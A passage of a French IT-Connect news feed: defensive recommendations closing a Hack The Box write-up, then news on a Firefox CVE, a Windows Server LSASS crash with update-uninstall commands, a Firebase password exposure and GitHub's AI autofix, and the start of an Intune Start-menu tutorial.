<p><strong>Recommandation n°1 :</strong> il est recommandé de mettre en place une politique de mot de passe robuste interdisant notamment les mots de passe faibles avec un seul alphabet ou le "<em>user as pass</em>". L'application de cette recommandation doit notamment se baser sur le document <a href="https://cyber.gouv.fr/publications/recommandations-relatives-lauthentification-multifacteur-et-aux-mots-de-passe" target="_blank" rel="noopener nofollow" title="Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI.">Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI.</a> Côté détection, il est recommandé de surveiller les journaux d'authentification pour détecter les échecs de connexion au niveau du domaine. Si les échecs d'authentification sont nombreux sur une courte période de temps, il peut y avoir une tentative de force brute en cours. Le <a href="https://www.it-connect.fr/centralisation-des-logs-un-outil-pour-la-securite/" target="_blank" rel="noopener nofollow" title="centralisation des logs">centralisation des logs</a> et l'utilisation d'un SIEM peuvent ici grandement aider.</p>



<p><strong>Recommandation n°2 </strong>: nous pouvons également recommander de supprimer l'archive ZIP située à la racine du service web. Les archives contiennent souvent des données sensibles (configurations, mots de passe) et leur place n'est pas sur un service web accessible sans authentification. Il est recommandé de les stocker dans un emplacement sécurisé, accessible uniquement par des utilisateurs authentifiés. Pour aller plus loin, nous pouvons également recommander de stocker les archives de configuration et de code source de façon chiffrée et, <strong>en complément</strong>, de durcir la configuration du service web pour interdire l'accès aux fichiers de backup (.zip, .tar, etc.) directement dans la configuration Apache.</p>



<p><strong>Recommandation n°3 :</strong> il peut être recommandé d'améliorer la sécurité du service ADCS. De multiples bonnes pratiques existent à ce sujet, mais doit en premier lieu être effectuée une revue des ACL sur les <em>templates</em> de certificats et sur l'autorité de certification afin de s'assurer que seuls des groupes légitimes sont autorisés à y effectuer des actions sensibles. De manière générale, il est d'ailleurs toujours recommandé de passer par des groupes pour l'attribution des droits que l'attribution directe à un utilisateur.</p>



<p><strong>Recommandation n°4 :</strong> il est recommandé d'appliquer une séparation stricte des usages sur les services du système d'information. Les services de base de données et de gestion des certificats répondent à des fonctions métiers et de sécurité différents et doivent être positionnés sur des serveurs distincts. Cela afin de rendre plus difficile pour un attaquant la propagation de sa compromission d'un service à l'autre. Pour aller plus loin, il est recommandé de consulter le document <a href="https://cyber.gouv.fr/publications/la-defense-en-profondeur-appliquee-aux-systemes-dinformation" target="_blank" rel="noopener nofollow" title="La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. ">La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. </a>(Soyons francs, cette recommandation est plutôt pour le principe, les services sont ici mutualisés sur un même serveur, car Hack The Box ne propose qu'une machine à la fois :D. Mais consultez quand même ce document, très intéressant ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ).</p>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur <a href="https://discord.com/invite/KMWN7TUQfm" target="_blank" rel="noopener nofollow" title="">notre Discord</a>!</em></p>



<p>Enfin, <strong>si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité</strong>, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noopener nofollow" title="">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-manager/">Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78173
title: Passez sur Firefox 124 pour vous protéger de cette faille de sécurité critique (CVE-2024-2615) !
uri: Passez-sur-Firefox-124-pour-vous-protéger-de-cette-faille-de-sécurit
url: https://www.it-connect.fr/nouveautes-mozilla-firefox-124-faille-de-securite-critique-cve-2024-2615/
content:
<p><strong>Firefox 124 a été publié par la fondation Mozilla ! Quelles sont les nouveautés de cette version ? Parlons-en, mais nous allons surtout nous intéresser à une faille de sécurité critique corrigée par les développeurs.</strong></p>



<p>Ce mardi 19 mars 2024, la fondation Mozilla a publié la version 124.0 de son navigateur Firefox. Une nouvelle version associée à la publication d'<a href="https://www.mozilla.org/en-US/firefox/124.0/releasenotes/" target="_blank" rel="noopener nofollow" title="">une page</a> qui regroupe toutes les nouveautés apportées à cette version.</p>



<p><strong>Firefox 124 introduit de nouvelles options d'accessibilité</strong>, avec notamment la prise en charge du mode de navigation par curseur dans le lecteur PDF du navigateur. De plus, <strong>Firefox View</strong> est désormais capable de trier vos onglets par activité récente (par défaut) ou par ordre de tabulation. A noter également que la <strong>disponibilité de Qwant </strong>a été étendue à toutes les langues de la région France, ainsi qu'à la Belgique, l'Italie, les Pays-Bas, l'Espagne et la Suisse.</p>



<h2 class="wp-block-heading">12 failles de sécurité corrigées par Firefox 124</h2>



<p>Par ailleurs, et ce que nous allons évoquer maintenant, les développeurs ont corrigé<strong> 12 failles de sécurité</strong>, dont <strong>cinq vulnérabilités importantes</strong> et <strong>une vulnérabilité critique</strong>. Associée à la référence <strong>CVE-2024-2615</strong>, cette vulnérabilité a été découverte par Paul Bone et les membres de Mozilla Fuzzing Team. Il s'agit d'un <strong>problème de sécurité dans la mémoire</strong>.</p>



<p>Le <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2024-12/" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité de Mozilla</a> est clair : cette vulnérabilité pourrait permettre à un attaquant d'exécuter du code arbitraire sur la machine de l'utilisateur.</p>



<p><strong>La faille de sécurité CVE-2024-2615 affecte uniquement le navigateur Mozilla Firefox. Toutefois, Mozilla a corrigé plusieurs vulnérabilités dans la version Firefox ESR, ainsi que dans son client de messagerie Thunderbird.</strong> </p>



<p>Voici la liste des produits et versions affectés par différentes vulnérabilités :</p>



<ul>
<li><strong>Firefox</strong> versions antérieures à 124</li>



<li><strong>Firefox ESR</strong> versions antérieures à 115.9</li>



<li><strong>Thunderbird</strong> versions antérieures à 115.9</li>
</ul>



<p>Le CERT-FR a publié <a href="https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0234/" target="_blank" rel="noopener nofollow" title="">un avis de sécurité</a> au sujet de ces vulnérabilités présentes dans les produits de Mozilla : "<em>Certaines d'entre elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur, une exécution de code arbitraire à distance et une atteinte à la confidentialité des données.</em>", peut-on lire.</p>



<p>Maintenant, c'est à vous de faire le nécessaire pour mettre à jour les applications Firefox et Thunderbird.</p><p>The post <a href="https://www.it-connect.fr/nouveautes-mozilla-firefox-124-faille-de-securite-critique-cve-2024-2615/">Passez sur Firefox 124 pour vous protéger de cette faille de sécurité critique (CVE-2024-2615) !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78204
uri: Windows-Server-la-mise-à-jour-de-mars-2024-fait-planter-et-redémar
title:
Windows Server : la mise à jour de mars 2024 fait planter et redémarrer les contrôleurs de domaine !

url:
https://www.it-connect.fr/mise-a-jour-mars-2024-windows-server-planter-et-redemarrer-controleurs-de-domaine/

content:
<p><strong>Les mises à jour de mars 2024 pour Windows Server sont à l'origine d'un nouveau dysfonctionnement sur les contrôleurs de domaine Active Directory. Ce problème, lié au service LSASS, fait planter le serveur, ce qui le pousse à redémarrer. Faisons le point !</strong></p>



<p>Disponibles depuis le mardi 12 mars 2024, de nouvelles mises à jour cumulatives sont disponibles pour les différentes versions de Windows Server encore prises en charge par Microsoft, notamment les <strong>KB5035855</strong> et <strong>KB5035857</strong>. Ces derniers jours, plusieurs messages ont été mis en ligne sur Internet, <a href="https://www.reddit.com/r/sysadmin/comments/1bcp2ql/comment/kvfqg5p/" target="_blank" rel="noopener nofollow" title="">notamment sur Reddit</a> et sur le <a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2024-exchange-server-security-updates/bc-p/4088764/highlight/true#M38300" target="_blank" rel="noopener nofollow" title="">site de Microsoft</a>, afin d'évoquer <strong>un problème de stabilité à la suite de l'installation de la mise à jour de mars 2024</strong>.</p>



<p>Une nouvelle fois, ce problème serait lié au <strong>processus LSASS</strong> (<em>Local Security Authority Subsystem Service</em>) : une <strong>fuite de mémoire engendrerait une "surconsommation" des ressources sur le serveur</strong>. Ce dernier finit par <strong>figer et redémarrer</strong> car le processus consomme toute la RAM disponible !</p>



<p>D'après les quelques messages visibles sur Internet, <strong>les contrôleurs de domaine </strong>sont directement impactés par ce problème qui concerne <strong>au moins Windows Server 2016 et Windows Server 2022</strong>. </p>



<p>"<em>Nous avons eu des problèmes avec lsass.exe sur les contrôleurs de domaine (2016 Core, 2022 avec DE et 2022 Core) où il y a une fuite de mémoire également. Au point que tous les contrôleurs de domaine se sont bloqués pendant le week-end et ont provoqué une panne</em>.", peut-on lire sur <a href="https://www.reddit.com/r/sysadmin/comments/1bcp2ql/patch_tuesday_megathread_20240312/kvnvp08/" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<h2 class="wp-block-heading">Est-ce qu'il y a une solution ?</h2>



<p>Pour le moment, Microsoft ne s'est pas exprimé à ce sujet, et la seule solution temporaire, c'est de désinstaller la mise à jour, ou de ne pas l'installer pour le moment. Pour rappel, l'utilitaire wusa.exe natif dans Windows peut vous permettre de désinstaller une mise à jour :</p>



<pre class="wp-block-code"><code>wusa /uninstall /kb:<strong>&lt;numéro de KB></strong>
wusa /uninstall /kb:<strong>5035855</strong></code></pre>



<p>Ce problème doit<strong> rappeler de très mauvais souvenirs à certains d'entre vous</strong>, puisqu'en décembre 2022, Microsoft avait corrigé un bug aux conséquences similaires : <a href="https://www.it-connect.fr/redemarrage-intempestifs-des-controleurs-de-domaine-microsoft-a-corrige-le-bug-lie-a-lsass/" target="_blank" rel="noopener" title="">le service LSASS consommait trop de mémoire et faisait planter le serveur contrôleur de domaine</a>. Ce problème était directement lié aux mises à jour du <a href="https://www.it-connect.fr/patch-tuesday-novembre-2022-68-vulnerabilites-et-6-zero-day-corrigees-par-microsoft/" target="_blank" rel="noopener" title="Patch Tuesday – Novembre 2022 : 68 vulnérabilités et 6 zero-day corrigées par Microsoft">Patch Tuesday de novembre 2022</a>.</p>



<p><strong>Avez-vous rencontré ce problème ? N'hésitez pas à faire des retours en commentaire !</strong></p>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/new-windows-server-updates-cause-domain-controller-crashes-reboots/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/mise-a-jour-mars-2024-windows-server-planter-et-redemarrer-controleurs-de-domaine/">Windows Server : la mise à jour de mars 2024 fait planter et redémarrer les contrôleurs de domaine !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78209
title: 19 millions de mots de passe en clair exposés dans des instances Firebase mal configurées !
uri: 19-millions-de-mots-de-passe-en-clair-exposés-dans-des-instances-Fire
url:
https://www.it-connect.fr/19-millions-de-mots-de-passe-en-clair-exposes-dans-des-instances-firebase-mal-configurees/

content:
<p><strong>Des chercheurs en sécurité sont parvenus à mettre la main sur 19 millions de mots de passe en clair exposés au sein d'instances Firebase mal configurées ! Accessibles publiques, n'importe qui pouvait accéder à ces informations sensibles. Faisons le point sur cette découverte !</strong></p>



<p>Firebase est une plateforme proposée par Google permettant le développement d'applications web et mobile, ainsi que la création de bases de données. Comme tous les services, une mauvaise configuration peut être lourde de conséquence... Ceci est l'occasion de rappeler que les incidents de sécurité ne sont pas systématiquement associés à une vulnérabilité.</p>



<p>D'ailleurs, trois chercheurs en sécurité ont pris l'initiative d'<strong>analyser plus de cinq millions de domaines à la recherche d'instances mal configurées</strong> ou sans règles de sécurité. S'ils ont mené ces travaux, ce n'est pas par hasard. En effet, récemment, ils sont parvenus à <strong>obtenir des droits d'administrateur, puis de super-administrateur sur une instance de Firebase utilisée par la solution Chattr</strong>. Cette découverte a poussé les chercheurs à analyser les serveurs exposés sur Internet.</p>



<h2 class="wp-block-heading">Des noms, des e-mails, des mots de passe, des factures, etc.</h2>



<p>Ce scan, qui aura nécessité environ 1 mois, a permis d'<strong>identifier 916 sites web vulnérables</strong>, avec certaines bases de données Firestore accessibles en écriture. Sur ces instances vulnérables, les chercheurs sont parvenus à collecter <strong>plus de 125 millions d'enregistrements avec des données associés à des utilisateurs</strong>, avec notamment des adresses e-mail, des noms, des mots de passe, des numéros de téléphone et des informations de facturation avec des coordonnées bancaires.</p>



<ul>
<li>Noms : 84 221 169</li>



<li>Emails : 106 266 766</li>



<li>Numéros de téléphone : 33 559 863</li>



<li>Mots de passe : 20 185 831</li>



<li>Informations de facturation (coordonnées bancaires, factures, etc.) : 27 487 924</li>
</ul>



<p><strong>Le pire, c'est que 98% des mots de passe découverts sont en texte clair (soit 19 867 627 mots de passe).</strong> Ceci est regrettable, car Firebase propose toutes les options nécessaires pour éviter d'exposer les mots de passe. Il s'agit clairement d'une mauvaise configuration.</p>



<p>Ensuite, les chercheurs ont pris le temps d'identifier et de contacter toutes les entreprises concernées afin de les notifier. Au total, en 13 jours, ils ont envoyé 842 e-mails. Même s'ils n'ont pas obtenu de réponse, il est à noter que <strong>25% des entreprises notifiées ont fait le nécessaire pour sécuriser leur instance Firebase</strong>.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/misconfigured-firebase-instances-leaked-19-million-plaintext-passwords/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/19-millions-de-mots-de-passe-en-clair-exposes-dans-des-instances-firebase-mal-configurees/">19 millions de mots de passe en clair exposés dans des instances Firebase mal configurées !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78287
title: Microsoft avoue que la mise à jour de mars 2024 fait planter les contrôleurs de domaine !
uri: Microsoft-avoue-que-la-mise-à-jour-de-mars-2024-fait-planter-les-cont
url: https://www.it-connect.fr/mise-a-jour-mars-2024-reboot-controleur-domaine-microsoft-avoue/
content:
<p><strong>Microsoft a confirmé que la mise à jour de mars 2024 pour Windows Server était à l'origine d'une fuite de mémoire pouvant entrainer le plantage et le redémarrage des contrôleurs de domaine Active Directory.</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/mise-a-jour-mars-2024-windows-server-planter-et-redemarrer-controleurs-de-domaine/" target="_blank" rel="noopener" title="">Windows Server : la mise à jour de mars 2024 fait planter et redémarrer les contrôleurs de domaine !</a></li>
</ul>



<p>Autant vous le dire dès maintenant :<strong> il n'y a pas encore de solution officielle !</strong> Néanmoins, Microsoft a identifié le problème et les équipes de l'entreprise américaine devraient proposer une solution dans les prochains jours. "<em>La cause principale a été identifiée et nous travaillons sur une résolution qui sera publiée dans les prochains jours.</em>", peut-on lire <a href="https://learn.microsoft.com/en-us/windows/release-health/status-windows-server-2022#issue-with-kerberos-requests-on-domain-controllers-may-cause-lsass-memory-leaks?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">sur le site de Microsoft</a>.</p>



<p>Microsoft évoque<strong> une fuite de mémoire extrême </strong>pouvant faire<strong> planter le processus LSASS sur les contrôleurs de domaine</strong>, ce qui <strong>force le serveur à redémarrer </strong>de façon brutale. Les <strong>mises à jour publiées le 12 mars 2024</strong> à l'occasion du Patch Tuesday sont bien à l'origine de ce dysfonctionnement.</p>



<p>Il est important de préciser que ce problème affecte les versions suivantes de <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/" target="_blank" rel="noopener" title="Windows Server" data-wpil-keyword-link="linked">Windows Server</a> : <strong>Windows Server 2022, Windows Server 2019, Windows Server 2016 et Windows Server 2012 R2.</strong> Ceci signifie que de nombreuses organisations sont susceptibles d'être impactées ! Par ailleurs, Windows 10 et Windows 11 ne sont pas affectés. </p>



<p>Si vous rencontrez le problème suite à l'installation de la mise à jour, la seule solution viable pour le moment, c'est de désinstaller la mise à jour à l'origine du problème. Sur votre serveur, ouvrez une Invite de commandes ou une console <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a> en tant qu'administrateur, puis exécutez la commande suivante (en indiquant le bon numéro de KB, selon votre OS) :</p>



<pre class="wp-block-code"><code><strong># Windows Server 2016</strong>
wusa /uninstall /kb:5035855

<strong># Windows Server 2019</strong>
wusa /uninstall /kb:5035849

<strong># Windows Server 2022</strong>
wusa /uninstall /kb:5035857</code></pre>



<p>Si vous n'avez pas encore procédé à l'installation des mises à jour de mars 2024, nous vous recommandons de patienter...</p>



<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-windows-server-issue-behind-domain-controller-crashes/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/mise-a-jour-mars-2024-reboot-controleur-domaine-microsoft-avoue/">Microsoft avoue que la mise à jour de mars 2024 fait planter les contrôleurs de domaine !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78258
title: Avec l’IA, GitHub va détecter et corriger les vulnérabilités dans votre code !
uri: Avec-l-IA-GitHub-va-détecter-et-corriger-les-vulnérabilités-dans
url: https://www.it-connect.fr/github-ia-detecter-corriger-les-vulnerabilites-dans-votre-code/
content:
<p><strong>"Code Scanning Autofix", c'est le nom de la nouvelle fonctionnalité lancée par GitHub ! Elle a pour objectif d'analyser votre code à la recherche de vulnérabilités, et surtout, d'automatiser la correction à votre place.</strong></p>



<p>La fonctionnalité "<strong>Code Scanning Autofix</strong>" est disponible en <strong>beta publique</strong>, et elle est activée par défaut sur tous les dépôts privés des utilisateurs de <a href="https://docs.github.com/fr/get-started/learning-about-github/about-github-advanced-security" target="_blank" rel="noopener nofollow" title="">GitHub Advanced Security</a>. Elle bénéficie de<strong> l'intelligence artificielle au travers de GitHub Copilot et <a href="https://docs.github.com/fr/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql" target="_blank" rel="noopener nofollow" title="">CodeQL</a></strong>, ce dernier étant le moteur d'analyse de code développé par GitHub pour automatiser les contrôles de sécurité.</p>



<p>Au sein de <a href="https://github.blog/2024-03-20-found-means-fixed-introducing-code-scanning-autofix-powered-by-github-copilot-and-codeql/" target="_blank" rel="noopener nofollow" title="">son article de blog</a>, GitHub annonce que la correction automatique du code "<em>couvre plus de 90% des types d'alertes en<strong> JavaScript, Typescript, Java et Python</strong>, et propose des suggestions de code permettant de corriger plus des deux tiers des vulnérabilités trouvées avec peu ou pas de modifications.</em>"</p>



<p>Il est à noter que cette fonctionnalité ne va pas uniquement corriger le code, elle va aussi <strong>prendre le temps de vous expliquer en langage naturel la suggestion de correction </strong>permettant d'améliorer la sécurité de votre code. GitHub précise que<strong> le développeur peut accepter, modifier ou rejeter la suggestion proposée par l'IA</strong>. L'analyse peut être effectuée sur un ou plusieurs fichiers, ainsi que sur les dépendances d'un projet.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="577" src="media/415a3d64.GitHub-code-scanning-autofix.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix.jpg" alt="" class="wp-image-78259" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix-550x397.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix-768x554.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GitHub-code-scanning-autofix-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : GitHub</figcaption></figure>



<p><strong>Cette fonctionnalité est particulièrement intéressante pour augmenter le niveau de sécurité du code produit par les développeurs.</strong> Ceci permet d'avoir un suivi en "temps réel" de son code et de pouvoir être <strong>proactif dans la détection de vulnérabilités</strong>. Néanmoins, il faut garder à l'esprit que l'IA peut tenter de corriger une vulnérabilité, mais le correctif est-il réellement complet ? Il semble important de s'en assurer.</p>



<p>Dans les prochains mois, GitHub ajoutera la<strong> prise en charge de deux autres langages : C# et Go</strong>. En attendant, je vous laisse avec la vidéo de présentation de cette nouveauté :</p>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/lm9a9R9P6uc" title="GitHub Advanced Security: Code scanning autofix" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Pour en savoir plus, vous pouvez consulter <a href="https://docs.github.com/en/code-security/code-scanning/managing-code-scanning-alerts/about-autofix-for-codeql-code-scanning" target="_blank" rel="noopener nofollow" title="">cette documentation officielle</a>.</p><p>The post <a href="https://www.it-connect.fr/github-ia-detecter-corriger-les-vulnerabilites-dans-votre-code/">Avec l’IA, GitHub va détecter et corriger les vulnérabilités dans votre code !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=47352
title: Intune – Comment personnaliser le menu Démarrer de Windows 11 ?
uri: Intune-Comment-personnaliser-le-menu-Démarrer-de-Windows-11
url: https://www.it-connect.fr/intune-comment-personnaliser-menu-demarrer-windows-11/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons voir comment personnaliser le menu Démarrer de Windows 11 à l'aide d'une stratégie Intune, afin de définir une liste des applications à épingler dans le menu Démarrer. L'objectif étant d'avoir une configuration uniforme sur son parc informatique.</strong></p>



<ul>
<li><a href="https://youtu.be/sqRNOhzVywI" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/sqRNOhzVywI" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Au sein du système d'exploitation Windows, le menu Démarrer joue un rôle clé, car il offre un accès direct aux applications installées sur l'ordinateur. Le menu Démarrer de Windows 11 permet d'<strong>épingler certaines applications</strong> afin de pouvoir les trouver facilement, juste en ouvrant le menu Démarrer. C'est précisément sur <strong>la liste des applications épinglées que nous allons agir aujourd'hui</strong>, en définissant une liste personnalisée d'applications à l'aide d'un <strong>fichier de configuration au format JSON</strong>.</p>



<p>En entreprise, cette configuration est utile pour avoir <strong>une disposition du menu Démarrer identique sur l'ensemble des sessions de vos utilisateurs</strong>. Ceci peut éviter qu'un utilisateur vous appelle pour vous dire qu'il ne trouve pas telle ou telle application dans le menu Démarrer. Néanmoins, sachez que <strong>cette configuration va venir écraser la liste des applications épinglées de l'utilisateur</strong>, et <strong>il ne pourra pas modifier cette liste</strong> (ses éventuels changements seront écrasés).</p>



<ul>
<li><a href="https://www.it-connect.fr/microsoft-intune-les-profils-de-configuration-des-appareils/" target="_blank" rel="noopener" title="Microsoft Intune – L’essentiel sur les profils de configuration des appareils">Découverte des profils de configuration Intune</a></li>
</ul>



<h2 class="wp-block-heading">II. Préparer un modèle de menu Démarrer</h2>



<p>La première étape consiste à préparer un modèle de menu Démarrer. Pour cela, vous devez utiliser une machine Windows 11 et ajouter au menu Démarrer les applications que vous souhaitez épingler. Ne créez pas de dossiers d'applications, car ce ne sera pas conservé.</p>



<p>Voici un exemple :</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/f1827050.Windows-11-Menu-demarrer-par-defaut-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple.jpg"><img fetchpriority="high" decoding="async" width="800" height="800" data-id="77778" src="media/f1827050.Windows-11-Menu-demarrer-par-defaut-Exemple.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple.jpg" alt="Windows 11 - Menu démarrer par défaut - Exemple" class="wp-image-77778" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple-550x550.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple-768x768.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-par-defaut-Exemple-50x50.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/d0ffb680.Windows-11-Menu-demarrer-modele.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele.jpg"><img decoding="async" width="708" height="799" data-id="77777" src="media/d0ffb680.Windows-11-Menu-demarrer-modele.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele.jpg" alt="Windows 11 - Menu démarrer modèle" class="wp-image-77777" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele.jpg 708w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele-550x621.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele-133x150.jpg 133w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-modele-44x50.jpg 44w" sizes="(max-width: 708px) 100vw, 708px" /></a></figure>
</figure>



<p>Une fois que c'est fait, vous devez exporter cette configuration dans un fichier au format JSON. Cette action doit être effectuée avec PowerShell.</p>



<p>Ouvrez une console PowerShell et exécutez la commande suivante :</p>



<pre class="wp-block-code"><code>Export-StartLayout -Path "&lt;Chemin/vers/fichier/JSON&gt;"
# Par exemple :
Export-StartLayout -Path "StartMenuLayout.json"</code></pre>



<p>Ceci va créer un fichier JSON qui contiendra la liste de toutes les applications épinglées dans votre menu Démarrer type.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="311" src="media/ca001fc8.Windows-11-Menu-demarrer-Export-StartLayout-800x311.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-800x311.png" alt="Windows 11 - Menu démarrer - Export-StartLayout" class="wp-image-77776" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-800x311.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-550x214.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-768x299.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-demarrer-Export-StartLayout.png 900w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous ouvrez le fichier JSON, vous verrez les applications sous "<strong>pinnedList</strong>". Si vous ouvrez le fichier avec Visual Studio Code, utilisez le raccourci clavier "<strong>Shift+Alt+F</strong>" pour que le fichier soit formaté, ce sera plus lisible.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="571" src="media/68aabf30.Windows-11-Menu-Demarrer-Export-JSON-Exemple-800x571.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-800x571.png" alt="Windows 11 - Menu Démarrer - Export JSON - Exemple" class="wp-image-77779" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-800x571.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-550x393.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-768x548.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Windows-11-Menu-Demarrer-Export-JSON-Exemple.png 958w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par la suite, vous devrez copier-coller le contenu de ce fichier dans la stratégie Intune.</p>



<h2 class="wp-block-heading">III. Créer la stratégie Intune</h2>



<p><strong>La suite de la configuration se passe sur le Centre d'administration Microsoft Intune.</strong></p>



<ul>
<li><a href="https://intune.microsoft.com/" target="_blank" rel="noopener nofollow" title="">intune.microsoft.com</a></li>
</ul>



